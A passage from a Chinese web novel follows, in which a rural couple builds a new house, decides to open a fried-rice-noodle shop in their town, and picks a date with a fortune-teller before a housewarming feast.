她有心想在宁绍德面前说一句,他爸妈今年真吝啬,真就连腊肠也不给准备一点。 可一想到分家这事,她因为偷听到老两口的话,导致判断失误,在宁绍德面前说过他爸妈的坏话。 以至于现在在宁绍德面前低了一头,就硬生生把那些抱怨的话全咽下了。 她不知道,宁绍德其实也在心里嘀咕,今年不能带腊肠去,又得多花钱买肉吃。 以往他们带去后,一天切两节腊肠,在煮饭时放进去跟米一起煮,米饭会有腊肠的香味和油润。 米饭煮好后,把腊肠拿出来再跟青菜一起,简单炒一炒,又是一道肉菜。 省着点吃的话,能剩下两月的肉钱。 他思来想去,还是不甘心就这样回县城。 收拾好东西就去找他妈,最后多要了几十斤大米、好几斤新鲜青菜、干菜和腌菜,心里才舒服了点。 他们过年自己买的那一份东西,也一点不落地全部打包起来,带回县城,一点也没想着给自己父母留。 甚至连过年杀的那两只鸡,没吃完的部分,也打包带走了。 宁绍德以为老家有自己父母在,自己怎么做都不会传出去被别人说闲话。 但是他忘了,父母已经不是年富力强的年纪,他们已经老了,而且现在还分了家,他父母已经无法压制家里的其他人。 王海燕在他们走后,坐在门口跟邻居大声讨论,嘲笑老二一家铁公鸡。 黄秀华心里不舒服又跟她吵了一架。 过后黄秀华为了给老二挽尊,还在家里说什么‘老二夫妻俩工资低,拿着死工资,日子也不好过’之类的话。 但家里谁都是左耳进右耳出,这个年还没算过完,也不到农忙的时候,王海燕成天没事干,就爱东家走西家逛到处找人唠嗑,把这事当笑话跟人说。 宁绍明不掺和这些事,也不让赵如月和两个孩子掺和,他现在就想赶紧把房子建好,尽快搬走。 功夫不负有心人,他每天换着花样做饭给来他家干活的人吃,食材肯定是不如开工的第一天那么好。 但也是有菜有肉有汤,而且饭菜的味道,还比别人自己家做的味道还要好。 有时候做得多了,他们吃不完,剩下的他说谁想带回去当宵夜吃,可以自己打包,来干活的人都抢着要。 后来做工的人提议,他们不在这里吃了,每天自己带饭盒来,打饭回去再吃,吃完还能在家休息一会儿再来干活。 宁绍明就改了吃饭的方式,他还以为他们是真的想在家休息。 后来那些来干活人家里的小孩和宁时秋一起玩时,跟宁时秋说:“你爸做饭真好吃,还每天都有肉,我爸这几天带饭菜回来,我跟我姐抢着吃,我家就吃年夜饭那天、还有过年招待亲戚的时候,有肉吃,小秋,你家是不是天天都能吃肉啊?” 宁时秋回家后又提起这事,宁绍明才知道,来干活的人不是想回家休息,而是觉得这里伙食好,想带饭菜回去跟自己家人一起吃。 他有点担心他们吃不好影响干活,但人家愿意带饭回去给家里人,他也不好改。 宁绍明悄悄观察了几天,又不动声色地问过,得知他们每天都吃得饱,干活也不像缺力气的样子才放心。 他想着他们估计是把肉菜分给家人,他们自己大概也会吃一点,不多而已。 镇上各家几乎都种大米,不缺米吃,所以米饭是管饱的,才没影响干活。 在宁绍明忙着建房子的事时,赵如月也没闲着。 带孩子去镇上逛,观察市场的主要是她,除此之外,她还要去找人打家具。 镇上没有卖成品家具的地方,倒是有木工,可以自己买木头去找木工做家具,也可以直接在木工那里说自己要什么,连工带料包给木工。 赵如月选择自己找木头做家具,他们这里靠山,自家也有山地,他们分到的山地上就有树。 现在砍自家的树还不需要报备、申请之类的,只要不砍错成别人家的树,没人会管这种事。 她抽出几天时间,带着绳子在自家的山里转悠了几圈,选中几颗最大、最直的树,有樟木、也有榉木。 樟木她打算用来给孩子做衣柜、书柜和玩具柜,虽然孩子们都没提要书柜,但她还是决定要做一个。 到时候把原本要给婆婆准备的房间设置成孩子们的书房,把书柜放进去。 至于婆婆以后需要人照顾,要搬过来住哪里,到时候再说。 既然分家的时候,婆婆不愿意搬过来跟他们一起住,那他们当然也没必要把房间一直空着。 榉木就做成孩子的床和书桌,书桌做四套,两套小一些,放在两个孩子的房间,这样不挤占房间的太多空间。 两套大一些,放在书房,大人也可以用。 虽然他们两个大人不一定看书,但偶尔有时间,家里又没电视,也只能看看小说、报纸、杂志之类的打发时间。 他们夫妻俩的就不用做了。 他们的床是结婚的时候,公婆找人做的实木床,分家也归他们。 到时候可以自己拆开,搬到新家去再组合起来。 衣柜和梳妆台他们也有,是结婚的时候赵如月带来的嫁妆。 房子的事,夫妻俩分工安排得明明白白,只是要开店卖什么,他们仍然没有头绪。 米线、米粉、云吞、饺子、包子这些镇上都有人开店卖,有些开了好多年了,镇上倒是没有卖饭的店。 不过不是没人想卖,而是那些卖饭的店都黄了。 饭菜这一类食物,镇上的人更爱在家里吃,总感觉在外面吃不划算,他们这里没有足够支撑饭馆的不做饭人群。 光靠过路司机,无法支撑起一家店。 街上的人和周边村子的人,赶集时想解馋,更喜欢选择米线、米粉或者饺子、云吞、包子这些。 而且乡村小镇守旧的人比愿意尝试新事物的人更多,很多人对于新鲜事物的包容度不高,不一定愿意尝试外来的食物。 赵如月每天想开店要卖什么,想得晚上做梦都是这些内容。 第60章 赵如月在发愁镇上购买力不够,市场太小的时候,总是免不了去想:“要是我们家房子在县城就好了。” “在县城随便买什么都挣钱吗?”突然听到女儿这问。 赵如月才发现自己想着想着,竟然不自觉地把心里话说出来了。 “不一定,得看卖的东西好不好,但是在县城卖比在镇上好很多,可以选择的花样比较多,县城的人也比较舍得花钱,县城的人也多,县城附近镇子里的人也爱去县城玩,去玩就要花钱买东西吃。” 丈夫忙着盖房,每天除了给去帮忙盖房的人做饭,其他时间也要跟他们一起干活,又忙又累。 赵如月暂时不打算用这些事去打扰他,但又不知道跟谁说,不自觉就跟女儿说了很多。 宁时夏听完又问:“镇上的人去县城就花钱,是很喜欢县城的东西吗?” “应该是的吧。”赵如月觉得大部分人都是这么想,哪怕是同样的商品,很多人就是觉得在县城买的更高级。 很多人去一次县城回来,能把这事说一个月,反反复复地说自己在县城做了什么、买了什么,大人小孩都一样。 “县城也有很多镇上没有的东西。” 宁时夏点点头,脱口而出:“那我们家可以卖县城有,镇上没有的东西呀,就说是县城来的,上次我们去县城,哥哥给我买的小卡纸,过年的时候镇上也有卖,我跟哥哥去看过,跟县城买的一模一样,但是表哥和表姐就是觉得我在县城买的更好,思莲她们也这么说。” 赵如月思考到混沌的脑袋像是被开光了一样,一下子清醒了。 她追问道:“你表哥表姐和玩得好的小朋友们,后来去买镇上的小卡纸了吗?” 如果觉得县城买的更好,而不买镇上同款的东西,那就不能说是县城来的,如果依然买的话,这个操作可行性就很大。 镇上能经常去县城的人少,有些老一辈甚至一次都没去过,一辈子在镇上没挪窝,只能从别人嘴里听说县城是什么样的,都有什么东西,对县城的东西肯定好奇。 市里的东西在镇上人眼里比县城里的更高级,但是市里离镇上太远了,是很多人可望而不可即的存在,她说自家卖的东西跟市里卖的一样,别人不一定信。 说是县城有的东西,镇上常去县城的人就能给她家作证。 宁时夏在赵如月期待的目光中点头:“拿到压岁钱不用上交的都买了,大家都喜欢买那些跟别人从县城买回来的小卡纸一模一样的图案,那些卖完了才会选别的。” 赵如月有了方向,趁着要去县城买热水器的时候,请正好有空又对现在的县城比较熟悉的堂妹陪着,把县城的小摊和小餐馆逛了一圈。 她也不用都吃一遍,毕竟她家又不来县城跟这些小摊和小餐馆竞争,她只过去看看别人都卖什么,生意怎么样。 有感兴趣的就买一点尝尝,不感兴趣的,看过就走。 现在的小县城吃的比镇上花样多点,还不如以后繁华。 小吃她不太考虑,因为镇上消费力不行,过年期间和节假日还好,平时就算是集日,来赶集的人也更愿意给小孩子买能吃饱肚子,好吃又实惠的东西。 对于很多周边村子的大人小孩来说,能来镇上吃一碗米粉、米线或者云吞面,已经是很令他们高兴的事情了。 根据镇上的情况,赵如月跟宁绍明来之前商量过,他们也打算做比较能饱腹的东西。 这次来也主要是看这些,赵如月跟堂妹一圈逛下来,到处都逛过了,时间也才刚到中午。 麻烦堂妹跟自己逛一上午,堂妹没有抱怨过一句。 赵如月也不好意思只请堂妹吃小摊子或者小餐馆,就问堂妹:“有没有你比较喜欢吃的饭店?也带我去尝尝呗?” 赵如玉也想帮堂姐省钱,说道:“去饭店多不划算,我们随便找个快餐店吃一顿,吃饱就行了。” 赵如月玩笑着说:“那可不行,我这回算是来那什么……考察市场,花多少回去都能给你堂姐夫报销,不吃点好的多可惜,快把你平时爱吃的饭店叫出来。” 在她的催促和坚持下,赵如玉带着她来到一家装修很好,看起来好像不便宜,让人看着都不太敢进去消费,实际上价格还挺实惠的饭店。 服务员把菜单拿过来,赵如月接过来后直接递给赵如玉:“你喜欢吃什么点什么,千万别跟我客气。” 来都来了,赵如玉也不矫情:“那我可要吃大户了!” 说是吃大户,其实她也吃不了太多,只按照两人的食量,点了一个清蒸鱼、一个香菜牛肉、一个应季的绿叶蔬菜,还有两碗米饭。 清蒸鱼是她跟赵如月都爱吃的鲈鱼,香菜赵如月也不讨厌。 点了这些,她就把菜单递过去给赵如月。 赵如月拿到菜单后,加了一道羊杂汤,然后下意识地按照上午看小饭馆菜单一样,把这饭店的菜单从头到尾认真看了一遍。 看到宵夜部分有一道炒河粉,看到这个菜单上的炒河粉,突然想起来,她在县城逛了一早上,竟然没有在小摊子和小餐馆看到这个。 于是赵如月鬼使神差地把炒河粉也点了。 点完才意识到那是宵夜,原本想取消,但服务员看到她点这个后仍然神色如常,似乎对这已经习以为常。 她稍微犹豫了一下,服务员拿着菜单就走了。 两人等了大概十几分钟,除了早就提前做好的米饭之外,第一个上桌的菜竟然是炒河粉。 “这个是新出的菜式,我们这边一直只有煮粉,炒河粉这种吃法还挺新奇,听说是鹏城那边传过来的吃法,我跟我那些同事都很喜欢吃,最近下夜班路过,就单独点一份分着吃。”赵如玉边说着边夹了一小碗,让赵如月先尝尝。 “姐,你在鹏城应该吃过吧?尝尝看我们这里的跟鹏城的有什么区别?” 在赵如月吃着炒河粉的同时,也在翻自己的记忆,镇上是哪一年有炒粉的? 她没关注过这些,还真想不起来了。 也许是后来随着外出打工的人传回来的,赵如月只能确定,现在镇上没有哪家小摊或者店面卖这个。 在信息流通没那么迅速的年代,一种东西的传播,总是悄无声息地浸入普通人生活中,人们回过神来时,已经对它习以为常。 这似乎是一个机遇? 意识到这一点,赵如月面上不显,心跳却不由自主地加快了。 思绪只在几秒之间,赵如月吃了两口,点着头说:“好吃,不过可能是我们本地的米粉原料和水跟鹏城的不同,所以吃着口感也有点差别,但它确实是好吃的。” 两人聊着天,菜也陆陆续续地上了,吃饱喝足后。 赵如月带着买好的热水器,兴奋地坐上回家的公交车。 返工潮过去后,镇上和县城往返的公交车很空荡,司机甚至有闲心帮赵如月把装着热水器的纸箱固定好。 赵如月考虑到孩子洗澡需要调到合适的温度,而现在的燃气热水器,只有高中低三挡可调温,温度不能微调,所以买的是储水式热水器。 那热水器看着很大一个,其实一点也不重,她随随便便就扛起来了。 从镇上的汽车站一路扛到家门口,吸引了不少人的目光。 宁绍明在宅基地那边帮忙搅拌水泥、搬砖。 听人说他老婆扛着个大家伙回来,他赶忙放下手里的活,急匆匆赶回去。 “不是让你回来前给家里打个电话说一声,让小秋骑车来通知我去车站接你吗?那么大个东西,你怎么扛回来的?” 赵如月不在意地摆手:“这有什么难的,你抬起来试试,一点也不重,你来看看这个。” 她把打包回来的炒河粉递给宁绍明。 “给我买的?”宁绍明打开袋子,闻到了一点香味,又打开打包盒,“怎么给我带这个?” “我……”赵如月想跟他说自己的想法,但一看周围都是来看热水器的人,她把话咽了回去,“我跟如玉去吃的时候觉得挺好吃,就给你打包了,我在县城吃过了,你给孩子们和爸妈也分点尝尝。” 饭点里卖得不便宜,五块钱一份,虽然不算配菜和肉,大概有四五两,分量挺多,但对比镇上米粉和肉的价格,还是挺不划算的。 不过这份毕竟是饭点卖的,他们自己卖的话,价格肯定不能定得那么贵。 人家自家人要分东西吃,来凑热闹的人也识相地说还有事,纷纷散了。 反正赵如月也说了,这个热水器以后是装在他们新家那边的。 安装的时候,他们想去看的话,可以去看看,现在怕孩子弄丢零件,不敢拆出来让人看,众人都表示理解。 毕竟那是县城买回来的东西,零件丢了在镇上还真不一定能买得到,为一个小东西,还要再花来回车费,往县城跑一趟可划不来。 人走光后,宁绍明给两个孩子和父母都分了一些,只给自己剩下两口的量,他尝了一口。 还在嚼,赵如月就问:“味道怎么样?” 吃得快的两个孩子都说好吃,两个老人也说好吃。 宁绍明吃完擦了擦嘴唇:“确实好吃,不过油放多了,好的炒河粉,看起来油润诱人,但吃起来不油腻,不过对于肚子里油水少的人来说,可能反而更喜欢油多一点的。” 赵如月期待地问:“你觉得我们在镇上卖炒河粉可行吗?我想过了,除了这种切粉,还能加上粗圆粉、细圆粉和粉丝,丰富种类。 现在镇上没有一家店卖这个,县城目前也只有一家饭店有的卖,可以再搭着卖羊肉汤或者羊杂汤,羊的成本太高的话,换别的汤也可以。” 60-70 第61章 宁绍明没做过生意,也说不好卖炒河粉行不行:“要不我们先试试?” 赵如月以为他想先去集上摆摊试卖:“你还要忙宅基地那边的活,摆摊试卖忙得过来吗?” 宁绍明解释:“不是试卖,我想明天早上去卖食材,中午做一顿给在宅基地那边帮忙干活的人试吃,看看他们能不能接受。” 在宅基地那边帮忙的都是本地人,基本上可以代表本地大部分人的口味。 他们觉得好吃的话,带回家跟家人一起吃过几次,很快就能帮忙把他家要卖的东西宣传出去,要不了多久,镇上的人就知道了。 “还是先等等吧,等房子差不多能入住开店,再让他们试吃,毕竟做这个对于会做饭的人来说,并不算难。”赵如月担心被人捷足先登。 她倒是不怕自家卖炒河粉后,镇上的米粉店跟风。 她对宁绍明的手艺有信心,而且客人的舌头又不是白长的,同样的东西,同样的价格,谁家的好吃人家也吃的出来。 赵如月只担心提前被别人用去赚钱,自家的房子却没建好,想跟别人竞争都没办法。 宁绍明有点担心:“要是到时候反馈回来的结果不好,我们再改别的会不会耽误时间?” 赵如月说:“这有什么,我们开店用的是自家的房子,又没有租金成本,做不成生意还有地可以种,也不会欠债挨饿。” “那行,我尽快把建房的进度加快,现在大致框架已经出来了,你有空可以过去看看门店以后该怎么布置,可以去找木匠打店里的桌椅和柜台了。” 近期砍下来的木头没办法做家具,赵如月之前选好的木头,砍下来之后,要先去跟别人换成晾干处理好的木头。 要是用刚砍下来的湿木头跟别人家换,肯定不能一比一地兑换。 不过她是回娘家,跟娘家人换,娘家人没多要。 换回来的木头,加上公婆以前给愿意要空宅基地的儿子提前攒下的一些木头,做家里自用家具和店里桌椅、柜台的木头刚好够。 木头到位的第二天,赵如月立刻去已经建成个雏形的新房量尺寸。 然后又马不停蹄地去找木匠,先做店面的桌椅和柜台。 “你这是做椅子还是桌子?”镇上的木匠指着她给的尺寸图问,“尺寸没标错吧?看着像长条椅,但是尺寸不对呀!” “没标错,你放心大胆按照我给的尺寸做就行,我要做靠墙放的长桌,这样能坐的人多些。” 米粉店又不是奶茶店,大部分客人吃完抹抹嘴就赶着逛集市去了,也不介意跟别人拼桌,店里放这种长桌可以最大限度地把空间利用上。 镇上跟她家面积差不多的店,最多摆四张桌子,挤一挤能摆五张。 但是她这么设置,摆上这两个长条桌后,再把正常桌子的面积稍微缩小一点点,依然能摆四张桌子。 “镇上的店也不放这种桌子啊……”木匠不解地嘀咕,但一点不耽误做活,也没阳奉阴违。 反正他跟赵如月确认过了,以后按照给的图纸尺寸好好地做出来,用不了也不是他的问题。 赵如月看他执行得一丝不苟,心里很满意,她还要去买靠墙装在外面,遮阳挡雨的篷布。 抬脚正准备走,想起还得买几张折叠桌,客人多的时候放到篷布下,招待客人用。 这个木匠家貌似有成品卖,她就多问了一句。 木匠抬头指了指旁边的一个房间:“都在里面,五十块钱一张桌子,十块钱一张凳子,都是正经木头打的这贴桌,按一套要的话,八十块钱,有一张桌子四张椅子,不讲价,这个价格很实惠了,你去别的地方买,一套至少要一百,那桌子还不一定是正经木头桌。” 赵如月知道,现在有那种桌面有图案的这贴桌,看着好看,实则内里是木头碎屑加胶压成的板子,放的东西重一点还会往中间凹,确实不如他家木头打的折叠桌。 “行,我去选几套,不给讲价,能给送货上门吧?我大概要四五套,光靠我自己可抗不走。” 木匠笑眯眯地猛点头:“当然能给你送家里,要送你家老房子那边还是新房那边?我跟我儿子说一声,直接就能给你送过去。” 赵如月想了想说:“先送老房子那边吧。” 新房那边框架起好了,但是墙体还没干透,也没装门窗,放那边宁绍明不一定能时时注意到,容易被偷。 运气好遇上好天气,从建房起没怎么下过雨,空气干燥又有阳光,墙体干得快。 再加上宁绍明为了能尽快把房子建好,早点开店挣钱,找来帮忙的人比较多,打地基和建房的速度就比较快。 忙忙碌碌一直到三月初装好门窗,新房看起来就很像样了,甚至比有些只装了大门,连窗户都没装就住进去的小楼房都体面。 要是不装修,现在把水电一装,家具往里一搬,直接就能住进去了。 很多人,包括宁绍明的父母都以为他们会这么搬进去。 然而之前运钢筋的司机又来了,这次他运的不是钢筋了,而是用另一辆小一点的货车运来的瓷砖,还有刷墙的材料、厕所的便盆、洗手间的洗手台等等。 镇上只有水泥、石膏,墙漆也得去县城买,那个卖钢筋的老板,除了卖钢筋还卖装修材料,宁绍明不想到处跑,干脆就全在同一家店买了。 所有东西刚好能凑一车,人家直接给送货上门,也省的他还得自己想办法运回来。 赵如月跟宁绍明都去过鹏城,见识过城里人房子还有酒店里的装修。 虽然他们没那么多钱,把自家装修得跟城里人家那么好,但是那些不花太多钱,做好后就能提升生活品质得便捷程度的地方,他们也想尽量做好。 比如水电走线、开关、插座以及洗手间里的便池、洗漱台和淋浴喷头。 他们暂时还买不起洗衣机、冰箱、电视机这些,但是都提前预留了位置。 目前家里唯一的一件最值钱的家电,只有那个储水式电热水器。 从把那热水器买回来,到房子装修的时候把它装上去,过去了挺久,街坊邻居们依然还记得这个东西。 赵如月装电热水器的时候,很多人都跟着去她新家看。 他们家预留的热水器位置在厨房外面,还设置了单独的插座和开关。 只要把孔打好,装上支架,再把热水器架到支架上就算完成了一半。 赵如月定好打孔的点,拿了把椅子放好,自己拿着电钻就站上去了,她曾经为了省耗材费和安装费,自己买材料装过。 “诶诶诶诶,如月你怎么自己上去了,这男人的活你能干嘛?” “哎哟,你个女人家可别乱来,让你家男人干吧,别等会儿把墙打坏了!” 周围一群大娘大婶大叔大爷一脸紧张地看着她,仿佛她手里拿着的不是电钻,而是一把要砍他们的大砍刀。 不等赵如月解释打孔很简单,自己也会,就听到一个稚嫩的声音不高兴地说:“我妈怎么就不会了,我妈啥都会!” 宁时夏噘着嘴心里有点生气,这些大人竟然怀疑她妈妈连打孔都不会,真是不像话。 那么简单的事情,她觉得要不是自己力气小,让她去做她也行! 那些大人看她噘嘴的样子可爱,还想逗她,宁时夏把想掐自己脸的手都拍走了,跑到爸爸和哥哥身后给妈妈加油。 其实宁时夏根本不知道自己妈妈到底会不会,因为她从来没见过妈妈做这些。 但是她就是不乐意那些也没看过的人都没让她妈妈试一下,就提前说她妈妈不会! 赵如月笑着对女儿眨眨眼睛,沉稳地启动电钻,在自己标记的地方打了两个合格的孔。 然后掏了掏口袋,拿出膨胀螺丝的膨胀管,把膨胀管敲进去,再装上膨胀螺丝、热水器支架。 “可以了,把热水器递上来。” 宁绍明把热水器递上去,赵如月对准支架一卡,热水器被稳稳当当地挂在了墙上。 “见着没!”宁时夏骄傲地冲着那些大人抬起小下巴,得意得不行,“我就说我妈会吧!” 赵如月接着又拿出其他配件一一装上,她看起来那么轻松地就把热水器装好,让围观的街坊邻居啧啧称奇,看她的眼神像是在看什么稀奇动物。 面对他们的调侃,宁绍明面上镇定、嘴上谦虚,心里却跟女儿一样嘚瑟,这些邻居不知道,他家的插座和水龙头,其实也是他老婆装的! 要不是没有电工证,赵如月甚至可以把走线的活也自己干了。 装好热水的当天晚上,他们一家四口就在这个春寒料峭的时节,美滋滋地洗上了不用锅烧水的热水澡。 要不是刚装修好,家具也才搬进来,需要再放两三个月晾一晾,他们恨不得马上住进新家。 也就是他们的家具全都是真正用木头打的实木家具,房子里没什么甲醛含量高的东西,要不然晾房子的时间可不止两三个月。 新房暂时不能马上搬进去,新店打扫干净后却可以开起来了。 他们原本打算请人试吃店里要卖的炒河粉,后来一直觉得时间不合适,就一直拖着。 眼看挣钱的事拖了那么久,他们的店再不开起来,春节前卖货时的宣传就要白费了。 跟赵如月买过东西的那个老乡,每次来镇上赶集都会过来问一问,他们的店什么时候开张。 再拖下去,赵如月都觉得不好意思见她。 申请到开店所需的证件后,两人一商量。 干脆把搬新家请温居酒的时间提前,邀请之前帮忙建房的人和其他亲朋好友来吃饭。 把炒河粉当做席面上的一道菜,看看他们吃完后的反应。 第62章 他们俩商量好之后,当天晚上回老宅那边吃饭,在饭桌上就把这事跟其他人说了一下。 原本他们想得很简单,跟亲朋好友说一声什么时候去吃饭,然后提前一天去订食材就行,在一个星期内把这个事完成。 最好能挑在星期六或者星期日,这样孩子们刚好在家。 黄秀华一听他们说这事,饭都顾不上吃了,马上把挂历拿来翻,翻了半天没翻出个名堂来。 又说要去找道公和神婆算算日子。 赵如月和宁绍明听着都懵了,他们以为在挂历上随便选个适合请酒的日子就行,怎么还要去找道公和神婆? 但是黄秀华神色很眼熟,坚持要去找,该非要让他们两口子也跟着一起去,同时带上他们一家四口不穿的一件衣服去给人看。 宁绍明觉得麻烦,试探地说了一句:“不用去找吧,我们都看好日子了……” 就是想快点,要不没钱入账,他心慌。 黄秀华神色严肃地说:“不行!你不信的话,可以出去问问别人家,那些开店的是不是也这样,别以为这是封建迷信,你媳妇儿三叔家,还是开医馆的呢,他以前也去找人算过才定的日子,你们年轻不懂事,可我们家里的老人要是不提醒你们、不劝你们,别人说起来就是我们的不对了。” 宁绍明看向他爸,见宁达也点头表示赞同,只能无奈地跟赵如月对视一眼,接受了这个安排。 “那到时候跟道公和神婆说,给我们挑的日子近一点……” 他话还没说完,就被黄秀华瞪着眼打断了:“日子都是算出来的,怎么能要求怎么样就怎么样?人家算出来是什么时候就是什么时候!” “要是算出来是明年,也得等到明年才能开店?”宁绍明吐槽道,“今年我们一家子喝西北风去呗?” 黄秀华骂道:“你这乌鸦嘴,一整年里怎么可能没有合适的日子,你别说了,明天就跟我去找人,我早替你们打听好了,镇上开店生意好的人,找的都是那两个,你们去了不许乱说话,知道吗?” 她着重盯着宁绍明,直到他再三保证,他去了之后道公和神婆不问,他一个字不说,才放过了他。 明天是星期一,两个孩子本来要去上学,也得给他们请假,带着两个孩子一起去算日子。 第二天一家子跟在黄秀华身后,先去了神婆家。 赵如月进去后左看右看,没感觉神婆家除了每天都会烧香之外,跟别人家有什么不一样。 神婆看起来也跟普通大娘差不多。 黄秀华把他们的衣服交给神婆,听她絮絮叨叨地说了半天话,让人听着似懂非懂的。 然后给了钱,拿到四个被折成三角形的黄符,让他们每天戴着,至少要戴一个月,一个月后不想再戴就烧掉。 那四件衣服经过神婆做法后,再次退回来给他们,让他们回去至少穿一次,往后想穿可以继续穿,不想穿可以随意处理。 全程没提开店日子的事,宁绍明想说话,结果被他妈瞪了好几眼,硬是瞪得他把话咽了回去。 出了神婆的门,他还被训了一顿,他妈看起来就差用个胶布把他嘴粘起来了。 前往道公家的路上,千叮咛万嘱咐,到了地方不许他说话。 到了道公家,衣服没用上,倒是正经给他们算日子了。 最后算出来三个合适的日子,一个是农历润二月二十八,公历是四月十七号。 一般说日子都是从离得近的日子说起。 所以宁绍明没等道公说出另外两个日子,就忍不住说:“就这个日子了。”刚好是星期天六 算完出去又被他妈骂了一顿,嫌他插话太快,害自己没能多听道公对那几个好日子的讲解。 “花一样的钱,别人来一次能听好几个日子的讲解,我们才能听一个,亏得慌!” 宁绍明不懂她为什么那么激动和在意这个:“听那个有什么用,你又不能做道公。” 黄秀华一副恨铁不成钢的样子看他:“我听了以后别人问起来,好跟人说一说,要不别人问我日子怎么选的,我怎么跟人说?” 宁绍明:“哦,原来是为了回去以后,好跟人唠嗑。” 他算是知道了,来算日子就是他们花钱,给她买一个能跟人八卦的话头,内容不够丰富还不行。 “……”黄秀华被他噎了一下,“你闭嘴,我跟你说不通,懒得跟你说了!” 宁绍明一天之内挨了好几通骂,这一天挨的骂比他以前一年还要多。 不过好在日子定下来了。 四月十七号离现在也就不到十天,他们可以趁着这段时间还有空,好好地拾掇拾掇门店和新家。 刚装修好的房子,只打扫一次可不行,要多打扫几次那些灰才能打扫干净。 趁着开店把新房子也一起收拾好,也免得以后忙起来顾不上。 房子中间的空地,他们可以趁着现在有空,用建房和装修剩下的材料,铺几条纵横交错的小路,把地分隔成小块,也方便以后走路。 分隔好之后,趁着还是春天,顺便把想种的菜和花种下去。 再把门口和右边墙下装了篷布的那一块地方铺上水泥,方便以后打扫。 做完这些,建房剩下的余料就差不多用完了,只剩下一点砖头和水泥。 距离四月十七号也只剩下不到两天。 剩下的那点砖头和水泥,宁绍明原本想在门口砌个灶,可惜也不够,只能作罢。 宁时夏这些天兴冲冲地跟在他们身后当跟屁虫,学校都不去了。 她今年农历三月份才到四岁,本来就还不到去上学的年纪,本地没有幼儿园,小孩们五岁上小学里的学前班小班,六岁上大班,七岁上小学一年级。 他们家两个孩子上学年纪都偏早。 现在女儿还小,不想去学校赵如月也由着她,帮她跟学校请了假。 父母铲水泥、铺水泥,宁时夏也拿个小桶和小铲子帮忙。 他们本来还以为她会捣乱,没想到竟然做得一本正经有模有样的。 赵如月和宁绍明去忙别的事情时,她还会拿个小板凳,守在铺好水泥的地方,驱赶靠近的小动物,不让它们踩到还没干透的水泥地面上。 别人家门口的水泥地面,难免会有个鸡脚印或者狗脚印、猫脚印,他们家的地面一个都没有,只有为了防滑,划上去的横纹。 宁时夏看到家里还剩下的材料爸爸妈妈都用不上了,就说自己想要。 宁绍明想着这孩子跟在他们身边,干活这么多天,对这些东西非常熟悉。 她力气也不小,这种红砖抬起一块很轻松。 应该不会把水泥之类的东西,胡乱往嘴巴里塞、往眼睛里糊,就点头了:“你拿去玩吧,需要爸爸帮忙就说一声。” 宁时夏豪迈地小手一挥:“不用,我自己能行。” 她一本正经地在门口的角落,选了个不挡人走路的地方,在哪里开始搅和水泥。 宁绍明在旁边看了一会儿,确认女儿没问题,跟在院子里种菜的赵如月说了一声,就出门找人订羊去了。 今天四月十五号,明天十六号要订的东西太多,能提前一点订的东西,他今天都要提前去订,以免明天事情太多太忙乱。 宁绍明订好羊回来,就看到门口已经垒砌起一个四四方方的东西。 看着不大,高度只比坐着的小孩膝盖高一点,长度目测不到一米,宽度大概有他小臂那么宽,有一小块地方估计是砖不够,是用水泥和一些小石头补上的。 看起来像个鱼池,不过太小了,只能养一些小鱼,用来哄孩子玩倒是不错。 “我回来了!”宁绍明走进家门。 看到女儿蹲在地里帮赵如月点种子,他笑着问道:“小夏,你在门口做的是水池子吗?想在门口养鱼?想养鱼的话只用砖可不行,得在里里外外再糊一层水泥,水才不会漏出去。” 他已经想着要不再买点水泥回来,给女儿把那个小池子糊好。 宁时夏抬头,然后摇头:“不是哦,现在不能告诉你们,我要等哥哥回来,我跟他说好了的。” “行,那爸爸不问了,等你们揭晓的时候再看看是什么。” 傍晚宁时秋放学回到家,两个孩子回老宅吃饱饭,一个骑着自行车、一个滑着滑板跑到新家。 赵如月跟在他们身后,走到地方就看他们俩蹲在那里,对着今天宁时夏在角落砌的那个小矮池子比比划划、嘀嘀咕咕的。 赵如月也不管他们做什么,兀自走进院子里,给院子里种的菜和花浇水。 浇水到一半,听到两个孩子高声道:“妈妈,我们回家了。” 赵如月头也不抬,应了一声:“路上注意安全,别走路中间。” 听到他们回应:“知道了。”就放心地继续浇水。 宁时秋和宁时夏带着量好的尺寸,跑去找爷爷:“爷爷,你能不能帮我们做一个这么大的铁网?” 嘴甜的宁时夏为了让爷爷答应帮忙,更是张嘴就画了一个大饼:“等铁网做好,我们给你尝尝特别特别特别好吃的东西!” “好好好,咱们家小夏最乖了。”宁达笑眯眯地夸小孙女一句,才拿起他们给的纸,看了一眼纸上的画和尺寸。 就一个四四方方的网,做起来很容易。 他也不问两个孩子做这个干什么用,就点头应下了:“着急要不?不着急明天再给你们做,着急要,现在就能做。” “不着急,明天后天再做都行。” 他们的灶台还没晾干呢,做好了也暂时用不上。 第63章 温居酒前一天,赵如月和宁绍明到处去订购明天要用的东西,确认明天的菜。 忙忙碌碌的两人根本顾不上孩子,好在宁时夏终于愿意去学校了。 中午兄妹俩回家吃午饭,宁达已经把他们要的网做好了。 他特地找没用过的不锈钢钢丝,以为两个孩子是要拿这网去玩过家家抬东西玩,还在两边做了提手,方便他们玩的时候提着走。 宁时夏拿到网后,一连串好话不要钱似的从嘴里蹦出来,哄得她爷爷眉开眼笑,又应下了给他们削竹签的活。 他在干活的间隙抽空做,一天下来也做了不老少。 今天是星期五,为了方便住校生能在天黑前赶到家,学校下午的课只上到三点半就放学了。 他们镇上留守儿童越来越多,有些村子离学校远,村里孩子少,没有设置村小,或者村小只能上到三四年级,孩子要继续上学就只能来镇上的中心小学住校学习。 宁时秋先把妹妹送回家,然后骑着车去镇初中接同样住校的堂姐宁丹萍。 镇上只有这一个初中,小学还有走读生,但上了初中后,不管是家在街上的学生还是附近村子的学生,全都要住宿。 星期五初中的放学时间跟小学一样,所以宁丹萍放学后还得在校门口等宁时秋骑车来。 路过的同班同学知道她有人来接都很羡慕,即使来接她的不是父母,只是堂弟。 没人接的话,得自己花钱坐车到镇上,有些学生到镇上后,还要再花一份钱坐车回村里。 如果家长不给坐车的钱,就只能从学校走着回家,离得远的学生甚至要走两三个小时的山路,求学之路十分艰辛。 宁时秋骑车接近初中校门,远远地就看到堂姐在对自己招手。 自从开学后,宁时秋就开始每周接送堂姐,之前他来的时候,学校的人都走得差不多了,只有他堂姐站在校门口跟门卫和值班老师边聊天边等他。 这次堂姐身边却多了两个人。 等宁时秋在她面前停下。 宁丹萍试探着问道:“小秋,能不能跟你商量一下,顺便把我这两个同学也送回家?她们家也在镇上,只是离学校比我们家还要远。” 宁时秋被问了个措手不及:“可是我年纪太小,没办法来回骑那么多次。” 